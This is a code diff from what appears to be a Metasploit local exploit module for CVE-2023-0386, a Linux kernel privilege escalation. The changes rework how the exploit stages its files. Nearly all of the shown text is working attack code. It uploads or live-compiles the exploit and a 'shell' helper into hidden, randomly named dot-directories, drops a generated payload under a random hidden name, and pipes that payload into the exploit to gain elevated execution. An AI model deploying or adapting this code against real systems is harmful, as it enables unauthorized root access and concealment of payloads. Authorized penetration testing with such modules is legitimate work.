@@ -112,28 +112,28 @@ def exploit
112
112
# Upload exploit executable
113
113
exploit_dir = "#{ base_dir } /.#{ rand_text_alphanumeric ( 5 ..10 ) } "
114
114
exploit_path = "#{ exploit_dir } /.#{ rand_text_alphanumeric ( 5 ..10 ) } "
115
- payload_wrapper_path = "#{ exploit_dir } /.#{ rand_text_alphanumeric ( 5 ..10 ) } "
115
+ shell_path = "#{ exploit_dir } /.#{ rand_text_alphanumeric ( 5 ..10 ) } "
116
116
117
117
mkdir ( exploit_dir )
118
118
register_dir_for_cleanup ( exploit_dir )
119
119
120
120
if live_compile?
121
121
vprint_status ( 'Live compiling exploit on system...' )
122
122
upload_and_compile ( exploit_path , strip_comments ( exploit_source ( 'CVE-2023-0386' , 'cve_2023_0386.c' ) ) , '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread' )
123
- upload_and_compile ( payload_wrapper_path , strip_comments ( exploit_source ( 'CVE-2023-0386' , 'payload_wrapper .c' ) ) )
123
+ upload_and_compile ( shell_path , strip_comments ( exploit_source ( 'CVE-2023-0386' , 'shell .c' ) ) )
124
124
else
125
125
vprint_status ( 'Dropping pre-compiled exploit on system...' )
126
126
upload_and_chmodx ( exploit_path , exploit_data ( 'CVE-2023-0386' , 'cve_2023_0386.x64.elf' ) )
127
- upload_and_chmodx ( payload_wrapper_path , exploit_data ( 'CVE-2023-0386' , 'payload_wrapper .x64.elf' ) )
127
+ upload_and_chmodx ( shell_path , exploit_data ( 'CVE-2023-0386' , 'shell .x64.elf' ) )
128
128
end
129
129
130
130
# Upload payload executable
131
- payload_path = "#{ exploit_dir } /payload "
131
+ payload_path = "#{ exploit_dir } /. #{ rand_text_alphanumeric ( 5 .. 10 ) } "
132
132
upload_and_chmodx ( payload_path , generate_payload_exe )
133
133
134
134
# Launch exploit
135
135
print_status ( 'Launching exploit...' )
136
- cmd_string = "#{ exploit_path } #{ payload_wrapper_path } #{ exploit_dir } /.#{ rand_text_alphanumeric ( 5 ..10 ) } "
136
+ cmd_string = "echo ' #{ payload_path } & exit' | #{ exploit_path } #{ shell_path } #{ exploit_dir } /.#{ rand_text_alphanumeric ( 5 ..10 ) } "
137
137
vprint_status ( "Running: #{ cmd_string } " )
138
138
begin
139
139
output = cmd_exec ( cmd_string , nil , datastore [ 'TIMEOUT' ] )
0 commit comments